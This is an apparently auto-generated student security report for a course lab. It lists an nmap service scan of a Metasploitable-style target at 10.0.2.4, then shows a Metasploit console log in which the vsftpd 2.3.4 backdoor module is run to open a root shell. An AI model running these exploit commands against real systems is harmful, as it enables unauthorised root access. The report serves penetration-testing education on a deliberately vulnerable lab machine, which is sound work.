Security Report prepared for CSCI 1411 - Fall 2022

Updated on 10/02/2022 08:51:57 PM EDT by Lance Hundt

Target IP Address

IP Address: 10.0.2.4

System Operating System

OS details: Linux 2.6.9 - 2.6.33

Target Ping Response

4 packets transmitted, 4 received, 0% packet loss, time 3018ms

Ports open

```
21/tcp
        open ftp
                         vsftpd 2.3.4
22/tcp
                         OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
        open ssh
23/tcp
        open telnet
                         Linux telnetd
25/tcp
        open smtp
                         Postfix smtpd
                         ISC BIND 9.4.2
53/tcp
        open domain
80/tcp
       open http
                         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec
                         netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
1099/tcp open
                         GNU Classpath grmiregistry
              java-rmi
1524/tcp open bindshell
                         Metasploitable root shell
                         2-4 (RPC #100003)
2049/tcp open nfs
                         ProFTPD 1.3.1
2121/tcp open
              ftp
                         MySQL 5.0.51a-3ubuntu5
3306/tcp open mysql
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc
                         VNC (protocol 3.3)
6000/tcp open X11
                         (access denied)
                         UnrealIRCd
6667/tcp open irc
                         Apache Jserv (Protocol v1.3)
8009/tcp open ajp13
8180/tcp open http
                         Apache Tomcat/Coyote JSP engine 1.1
```

Exploits

21/tcp open ftp vsftpd 2.3.4

Results of Vsftpd exploit attempt on target

```
####################################
              ####################################
             ######################################
             ########
                [31m##[0m
                                [31m###[0m
                                                 ####
                                    ###
                                  ####
                                        ###
              ####
                                       ####
                           #########
              ####
                ############################
                                     ####
                 ###########
                                    ##
                     #######
                                    ###
                                    #####
                     #########
                                   ######
                  ############
                  ########
                               ########
                    #####
                               #######
                     ###
                               ########
                    ######
                              ############
                    #############################
                    # # ### # #
                    ##
                          https://metasploit.com[0m
ſΘm
      =[ [33mmetasploit v6.1.14-dev[0m
                                                             ]
+ -- --=[ 2180 exploits - 1155 auxiliary - 399 post
                                                       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops
                                                       ]
+ -- --=[ 9 evasion
Metasploit tip: View advanced module options with
[32madvanced[0m
[1m[34m[*][0m Processing vsftpd.rc for ERB directives.
resource (vsftpd.rc)> use exploit/unix/ftp/vsftpd_234_backdoor
[Om[1m[34m[*][Om No payload configured, defaulting to cmd/unix/interact
resource (vsftpd.rc)> set RHOST 10.0.2.4
[0mRHOST => 10.0.2.4]
resource (vsftpd.rc)> exploit -z
[0m[1m[34m[*][0m\ 10.0.2.4:21\ -\ Banner:\ 220\ (vsFTPd\ 2.3.4)
[1m[34m[*][0m\ 10.0.2.4:21 - USER: 331 Please specify the password.
[1m[32m[+][0m 10.0.2.4:21 - Backdoor service has been spawned, handling...
[1m[32m[+][0m 10.0.2.4:21 - UID: uid=0(root) gid=0(root)]
[1m[34m[*][0m Found shell.]]
[1m[34m[*][0m Command shell session 1 opened (10.0.2.15:35637 -> 10.0.2.4:6200 ) at 2022-10-02 20:52:47 -0400
[1m[34m[*][0m Session 1 created in the background.
resource (vsftpd.rc)> exit -y
```

END OF REPORT